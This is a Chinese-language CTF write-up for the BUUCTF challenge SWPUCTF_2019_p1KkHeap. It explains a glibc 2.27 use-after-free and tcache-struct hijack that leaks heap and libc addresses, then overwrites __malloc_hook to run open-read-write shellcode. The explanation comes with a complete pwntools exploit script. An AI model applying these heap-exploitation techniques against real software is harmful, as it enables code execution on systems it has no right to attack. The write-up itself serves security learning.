buu刷题记录—SWPUCTF_2019_p1KkHeap

这波又刷新了我对2.27版本libc的认知。那就是tcache struct ,话不多说看题。

静态分析

64位保护全开,习惯就好。载入IDA查看发现plt表有很多函数,其中有mmapprctlprctl最常见的就是设置沙箱规则,mmap最常见的就是直接给一个可读可写可执行的一片内存区域,那么我们返回终端查看一下沙箱规则。

这个有点复杂,不过大概率就可以认为他给你禁用了execve,其它的基本不用管,大概意思就是write函数的count必须非负,且大小在32位int范围内,并且不能=0x10,有一说一这个0x10并不理解为啥限制这个不能等于0x10,因为我读flag一般是读0x40

我们看看初始化函数,可以看到mmap分配了一片很大的内存并且是可读可写可执行的权限,那么开了沙箱之后我们就能往里面写orwshellcode,然后再劫持某些东西让它跳转到这个区域。

分析逻辑, 经典堆菜单题目,包含了增删改查,但是有一个全局变量一直在++并且循环并非while 1,可以发现这个初始值为0x12,意味着我们只能操作18次。先看删除,发现删除没有把指针清零,存在UAF,但是会把另一个东西清零,并且跟外面一样,删除有次数限制,只有三次机会。添加堆块会现寻找第一个指针不为0的指针,然后分配,最多同时存在八个堆块,size被限定在0x100以内。show会直接打印堆块上面的信息,edit就是根据输入的size读入数据,删除会导致无法edit,但是不影响show,所以这个地方可以用于泄露,后面的利用也都以uaf为基础攻击。

泄露libc

这里需要注意,glibc在2.26版本加入了tcache,tcache在堆上管理,会分配一个0x250大小的堆块,这就是一个tcache struct 上面会存储每个size tcache 的个数和tcache第一个堆块的地址。首先double free然后show 泄露heap的地址。

1
2
3
4
5
6
7
8
add(0x100)#0
add(0x100)#1
free(0)
free(0)
show(0)
p.recvuntil(b'content: ')
heap_addr=u64(p.recv(6)+b'\0\0')-0x260
success('heap_addr:'+hex(heap_addr))

泄露了之后我们接下来需要申请堆块到tcache struct上面来进行一些操作方便我们修改某些东西。我们都知道,每个大小的tcache bin最多存在7个,超过则会对应进入fastbin 或者 unsorted bin。那么我们把size改成7然后再free 再show就可以泄露libc的地址了。我们还可以顺便把第一个tcache的地址改成那个分配的可读可写可执行的区域,等会直接申请就可以在上面写数据了。

1
2
3
4
5
6
7
8
9
10
add(0x100)#2
edit(2,p64(heap_addr+0x18))
add(0x100)#3
add(0x100)#4
edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))

free(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
success('libc_addr:'+hex(libc_addr))

最后比较简单,就是写shellcode orw然后劫持malloc hook而已。

1
2
3
4
5
6
7
8
9
10
11
12
add(0x100)#5

payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30)
shellcode=asm(payload)
#gdb.attach(p)
edit(5,shellcode)

edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))

add(0x100)#6
#gdb.attach(p)
edit(6,p64(0x66660010))

来看看结果吧

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.27-64.so')
else:
p=remote('node4.buuoj.cn',29949)
libc=ELF('./libc/libc-2.27-buu64.so')
return ELF(file_name),libc,p

def add(size):
p.sendlineafter(b'Choice: ',b'1')
p.sendlineafter(b'size: ',str(size))


def free(index):
p.sendlineafter(b'Choice: ',b'4')
p.sendlineafter(b'id: ',str(index))


def edit(index,payload):
p.sendlineafter(b'Choice: ',b'3')
p.sendlineafter(b'id: ',str(index))
p.sendafter(b'content: ',payload)

def show(index):
p.sendlineafter(b'Choice: ',b'2')
p.sendlineafter(b'id: ',str(index))


elf,libc,p=conn(1,'./SWPUCTF_2019_p1KkHeap')
#p.recvuntil(b'=')
add(0x100)#0
add(0x100)#1
free(0)
free(0)
show(0)
p.recvuntil(b'content: ')
heap_addr=u64(p.recv(6)+b'\0\0')-0x260
success('heap_addr:'+hex(heap_addr))

add(0x100)#2
edit(2,p64(heap_addr+0x18))
add(0x100)#3
add(0x100)#4
edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))

free(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
success('libc_addr:'+hex(libc_addr))

add(0x100)#5

payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30)
shellcode=asm(payload)
#gdb.attach(p)
edit(5,shellcode)

edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))

add(0x100)#6
#gdb.attach(p)
edit(6,p64(0x66660010))


gdb.attach(p)
p.interactive()